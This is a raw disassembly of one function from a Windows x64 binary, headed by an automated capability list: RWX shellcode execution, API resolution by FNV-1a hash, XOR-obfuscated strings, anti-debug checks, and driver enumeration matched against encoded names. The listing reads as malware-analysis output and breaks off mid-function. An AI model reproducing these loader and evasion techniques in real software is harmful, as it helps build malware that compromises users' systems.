Function at 0x14002a180
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Create thread
Encode data using xor
Execute command
Execute shellcode via indirect call
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4aa0]
mov eax, 0x4ba0
call fcn.14007cc40
sub rsp, rax
movaps xmmword [rsp + 0x4b90], xmm6
movaps xmmword [rsp + 0x4b80], xmm7
movaps xmmword [rsp + 0x4b70], xmm8
movaps xmmword [rsp + 0x4b60], xmm9
movaps xmmword [rsp + 0x4b50], xmm10
movaps xmmword [rsp + 0x4b40], xmm11
mov rax, qword [0x14009f1c0]
xor rax, rsp
mov qword [rbp + 0x4a30], rax
lea rdx, [0x14008282c]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
xor esi, esi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140025390]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [rbp - 0x20]
mov edx, 0x4000
lea rcx, [rbp + 0x230]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
movabs r13, 0x2ca480c8371a86c8
movabs r12, 0x1c21e2c894c686c8
test eax, eax
je 0x14002a5dd
mov eax, dword [rbp - 0x20]
cmp eax, 0x4000
jae 0x14002a5dd
shr eax, 3
test eax, eax
je 0x14002a5dd
mov r13d, eax
mov r12d, esi
mov rbx, 0xffffffffffffffff
movabs rdi, 0x5fd7e5ab5868f6a3
movabs r14, 0x1c2190adffa5e7a0
nop dword [rax + rax]
mov r8d, 0x800
lea rdx, [rbp + 0x4230]
mov rcx, qword [rbp + r12*8 + 0x230]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x14002a5bd
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rbp + 0x4230]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002a2d0
lea rdx, [rbp + 0x4230]
lea rcx, [rbp + 0x10]
call fcn.1400183b0
nop
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], r14
movabs rax, 0x2ca480c8371a86c8
mov qword [rbp + 0x200], rax
movabs rax, 0x1c21e2c894c686c8
mov qword [rbp + 0x208], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x14002a332
lea rcx, [rbp + 0x10]
mov r14, qword [rbp + 0x10]
mov rdi, qword [rbp + 0x28]
cmp rdi, 0xf
cmova rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov r15, qword [rbp + 0x20]
mov rdx, r15
call fcn.14000b5c0
cmp rax, 0xffffffffffffffff
jne 0x14002b266
movabs rax, 0x59c6e58c476ef280
mov qword [rbp - 0x40], rax
movabs rax, 0x1c21e2c894c686af
mov qword [rbp - 0x38], rax
movabs rax, 0x2ca480c8371a86c8
mov qword [rbp + 0x1e0], rax
movabs rax, 0x1c21e2c894c686c8
mov qword [rbp + 0x1e8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
xorps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14002a3d0
lea rcx, [rbp + 0x10]
cmp rdi, 0xf
cmova rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
xor r8d, r8d
mov rdx, r15
call fcn.14000b5c0
cmp rax, 0xffffffffffffffff
jne 0x14002af1a
movabs rax, 0x2ca480c8377cf6a6
mov qword [rbp - 0x30], rax
movabs rax, 0x1c21e2c894c686c8
mov qword [rbp - 0x28], rax
movabs rcx, 0x2ca480c8371a86c8
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x14002a446
lea rcx, [rbp + 0x10]
cmp rdi, 0xf
cmova rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x30]
xor r8d, r8d
mov rdx, r15
call fcn.14000b5c0
cmp rax, 0xffffffffffffffff
jne 0x14002abe5
movabs rax, 0x48cdc8a6566eef9c
mov qword [rsp + 0x60], rax
movabs rax, 0x1c21e2c894c686ad
mov qword [rsp + 0x68], rax
movabs rax, 0x2ca480c8371a86c8
mov qword [rbp - 0x10], rax
movabs rax, 0x1c21e2c894c686c8
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14002a4d0
lea rcx, [rbp + 0x10]
cmp rdi, 0xf
cmova rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov rdx, r15
call fcn.14000b5c0
cmp rax, 0xffffffffffffffff
jne 0x14002a8e2
movabs rax, 0x73e0cfb8457bee9b
mov qword [rsp + 0x40], rax
movabs rax, 0x1c21e2c894b0f48c
mov qword [rsp + 0x48], rax
movabs rax, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], rax
movabs rax, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], rax
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
mov rax, rbx
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x14002a560
lea rcx, [rbp + 0x10]
cmp rdi, 0xf
cmova rcx, r14
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40]
xor r8d, r8d
mov rdx, r15
call fcn.14000b5c0
cmp rax, 0xffffffffffffffff
jne 0x14002a622
cmp rdi, 0xf
jbe 0x14002a5a9
mov r8, rdi
mov rdx, r14
lea rcx, [rbp + 0x10]
call fcn.140028a70
movabs r14, 0x1c2190adffa5e7a0
movabs rdi, 0x5fd7e5ab5868f6a3
inc r12
cmp r12, r13
jl 0x14002a290
movabs r12, 0x1c21e2c894c686c8
movabs r13, 0x2ca480c8371a86c8
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140028a50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x20], rax
mov rdx, qword [0x14009fa70]
cmp rdx, qword [0x14009fa78]
je 0x14002b5f0
mov qword [rdx], rax
add qword [0x14009fa70], 8
jmp 0x14002b600
movabs rax, 0x7f84e5be5877e39a
mov qword [rsp + 0x70], rax
movabs rax, 0x3c0da687e4b4e7a0
mov qword [rsp + 0x78], rax
movabs rax, 0xe26469ba2fc4e3aa
mov qword [rbp - 0x80], rax
movabs rax, 0xadc247a021a0f3a9
mov qword [rbp - 0x78], rax
movabs rax, 0xa0a13dac1dc5eae8
mov qword [rbp - 0x70], rax
movabs rax, 0xbd9fa8e80978c7e8
mov qword [rbp - 0x68], rax
movabs rax, 0x52cf9de84e40e7bc
mov qword [rbp - 0x60], rax
movabs rax, 0x171e46e6d48ea6ba
mov qword [rbp - 0x58], rax
movabs r13, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], r13
movabs r12, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], r12
movabs rax, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rax
movabs rax, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rax
movabs rax, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rax
movabs rax, 0xcefadac86d1686c8
mov qword [rbp + 0x1b8], rax
movabs rax, 0x27a0e4c83a3286c8
mov qword [rbp + 0x1c0], rax
movabs rax, 0x171e46c897de86c8
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm1
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140009d30
mov rbx, rax
mov qword [rbp - 0x40], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x58dcf4e6447de9a4
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140019360
nop
cmp qword [rbp + 0x108], 0
je 0x14002a86a
movabs rax, 0xcd6efba457fa693
mov qword [rsp + 0x60], rax
movabs rax, 0x1c21e2c8b4eba695
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140018150
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002a84d
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140018660
lea rdx, [0x140018f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.140019a50
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, rbx
call fcn.140009cd0
nop
lea rcx, [rbp + 0x10]
call fcn.140009cd0
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
jmp 0x14002a5dd
movabs rax, 0x7884e5bc5276e38c
mov qword [rsp + 0x70], rax
movabs rax, 0x79458b80faa7f2a1
mov qword [rsp + 0x78], rax
movabs rax, 0xeb3663ae25c0a6e4
mov qword [rbp - 0x80], rax
movabs rax, 0xa3c44da637afeae8
mov qword [rbp - 0x78], rax
movabs rax, 0xebb739a7108ae1a6
mov qword [rbp - 0x70], rax
movabs rax, 0xbcdabea62c36a8ba
mov qword [rbp - 0x68], rax
movabs rax, 0x5e8090ba5b46f5ad
mov qword [rbp - 0x60], rax
movabs rax, 0x17300598b7acf3a7
mov qword [rbp - 0x58], rax
movabs r13, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], r13
movabs r12, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], r12
movabs rax, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rax
movabs rax, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rax
movabs rax, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rax
movabs rax, 0xcefadac86d1686c8
mov qword [rbp + 0x1b8], rax
movabs rax, 0x27a0e4c83a3286c8
mov qword [rbp + 0x1c0], rax
movabs rax, 0x171e46c897de86c8
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm1
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140009d30
mov rbx, rax
mov qword [rbp - 0x40], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x58dcf4e6447de9a4
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140019360
nop
cmp qword [rbp + 0x108], 0
je 0x14002ab2a
movabs rax, 0xcd6efba457fa693
mov qword [rsp + 0x60], rax
movabs rax, 0x1c21e2c8b4eba695
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140018150
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002ab0d
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140018660
lea rdx, [0x140018f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.140019a50
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14002abb6
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002abb1
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002abde
mov rcx, r8
call fcn.14007cc1c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rcx, [rbp + 0x10]
call fcn.140009cd0
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
jmp 0x14002a5dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0x7b84e5bc5276e38c
mov qword [rsp + 0x70], rax
movabs rax, 0x775383a0e7a3f4a1
mov qword [rsp + 0x78], rax
movabs rax, 0xeb3663ae25c0a6e4
mov qword [rbp - 0x80], rax
movabs rax, 0xa3c44da637afeae8
mov qword [rbp - 0x78], rax
movabs rax, 0xebb739a7108ae1a6
mov qword [rbp - 0x70], rax
movabs rax, 0xbcdabea62c36a8ba
mov qword [rbp - 0x68], rax
movabs rax, 0x5e8090ba5b46f5ad
mov qword [rbp - 0x60], rax
movabs rax, 0x17300598b7acf3a7
mov qword [rbp - 0x58], rax
movabs r13, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], r13
movabs r12, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], r12
movabs rax, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rax
movabs rax, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rax
movabs rax, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rax
movabs rax, 0xcefadac86d1686c8
mov qword [rbp + 0x1b8], rax
movabs rax, 0x27a0e4c83a3286c8
mov qword [rbp + 0x1c0], rax
movabs rax, 0x171e46c897de86c8
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm1
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140009d30
mov rbx, rax
mov qword [rbp - 0x40], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x58dcf4e6447de9a4
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140019360
nop
cmp qword [rbp + 0x108], 0
je 0x14002ae2d
movabs rax, 0xcd6efba457fa693
mov qword [rsp + 0x60], rax
movabs rax, 0x1c21e2c8b4eba695
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140018150
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14002ae10
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140018660
lea rdx, [0x140018f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.140019a50
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14002aeb9
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002aeb4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002af13
mov rcx, r8
call fcn.14007cc1c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14002af03
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002aefe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b5e9
call fcn.14007cc1c
mov ecx, ntohl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_raise]
jmp 0x14002a5dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movabs rax, 0x6484e5bc5276e38c
mov qword [rsp + 0x70], rax
movabs rax, 0x6943878cb496d29c
mov qword [rsp + 0x78], rax
movabs rax, 0xeb262ce432c7e1af
mov qword [rbp - 0x80], rax
movabs rax, 0xbfcd42e827bce9ae
mov qword [rbp - 0x78], rax
movabs rax, 0xe2f33fa615c2e5a6
mov qword [rbp - 0x70], rax
movabs rax, 0x8fdaf4ba0872e7a7
mov qword [rbp - 0x68], rax
movabs rax, 0x46d497ad4812e2a6
mov qword [rbp - 0x60], rax
movabs rax, 0x376c33a7eefef2ba
mov qword [rbp - 0x58], rax
movabs rax, 0x8e20b0c8f114c598
mov qword [rbp - 0x50], rax
movabs rcx, 0x17ad92c8d3e686c8
mov qword [rbp - 0x48], rcx
movabs r13, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], r13
movabs r12, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], r12
movabs rax, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rax
movabs rax, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rax
movabs rax, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rax
movabs rax, 0xcefadac86d1686c8
mov qword [rbp + 0x1b8], rax
movabs rax, 0x27a0e4c83a3286c8
mov qword [rbp + 0x1c0], rax
movabs rax, 0x171e46c897de86c8
mov qword [rbp + 0x1c8], rax
movabs rax, 0x8e20b0c8f13a86c8
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rcx
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1a0]
xorps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0x1c0]
xorps xmm1, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
lea rax, [rsp + 0x70]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14002b0b3
mov r8, rbx
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.1400183b0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x40], rax
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
movabs rcx, 0x58dcf4e6447de9a4
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], r12
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0xa
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140019360
nop
cmp qword [rbp + 0x108], 0
je 0x14002b1c9
movabs rax, 0xcd6efba457fa693
mov qword [rsp + 0x60], rax
movabs rax, 0x1c21e2c8b4eba695
mov qword [rsp + 0x68], rax
mov qword [rbp + 0x190], r13
mov qword [rbp + 0x198], r12
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140018150
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, qword [rbp]
mov rcx, rax
call fcn.140018660
lea rdx, [0x140018f50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x80], rax
mov rax, qword [rbp + 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x7c], edx
lea rcx, [rbp + 0x88]
call fcn.140019a50
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x128]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14002aec8
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b25c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002b25c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007cc1c
jmp 0x14002aec8
movabs rax, 0x7c84e5bc5276e38c
mov qword [rsp + 0x70], rax
movabs rax, 0x540191bbf1a5e9ba
mov qword [rsp + 0x78], rax
movabs rax, 0xec6420ba25c9e5a9
mov qword [rbp - 0x80], rax
movabs rax, 0xabc00ead30a1e0ad
mov qword [rbp - 0x78], rax
movabs rax, 0xaeb436a114c9e8bd
mov qword [rbp - 0x70], rax
movabs rax, 0xeed4a8ad0977e9a4
mov qword [rbp - 0x68], rax
movabs rax, 0x53d381ba1a56e889
mov qword [rbp - 0x60], rax
movabs rax, 0x656b29b1b7aaf4a9
mov qword [rbp - 0x58], rax
movabs rax, 0x8e20b0c8df79d6e8
mov qword [rbp - 0x50], rax
movabs rcx, 0x17ad92c8d3e686c8
mov qword [rbp - 0x48], rcx
movabs r13, 0x2ca480c8371a86c8
mov qword [rbp + 0x190], r13
movabs r12, 0x1c21e2c894c686c8
mov qword [rbp + 0x198], r12
movabs rax, 0x8e440cc840a286c8
mov qword [rbp + 0x1a0], rax
movabs rax, 0xcaac2ec842ce86c8
mov qword [rbp + 0x1a8], rax
movabs rax, 0x8ed358c87caa86c8
mov qword [rbp + 0x1b0], rax
movabs rax, 0xcefadac86d1686c8
mov qword [rbp + 0x1b8], rax
movabs rax, 0x27a0e4c83a3286c8
mov qword [rbp + 0x1c0], rax
movabs rax, 0x171e46c897de86c8
mov qword [rbp + 0x1c8], rax
movabs rax, 0x8e20b0c8f13a86c8
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rcx
movdqa xmm0, xmmword [rbp + 0x190]
xorps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
xorps xmm1, xmmword [rbp + 0x1a0]
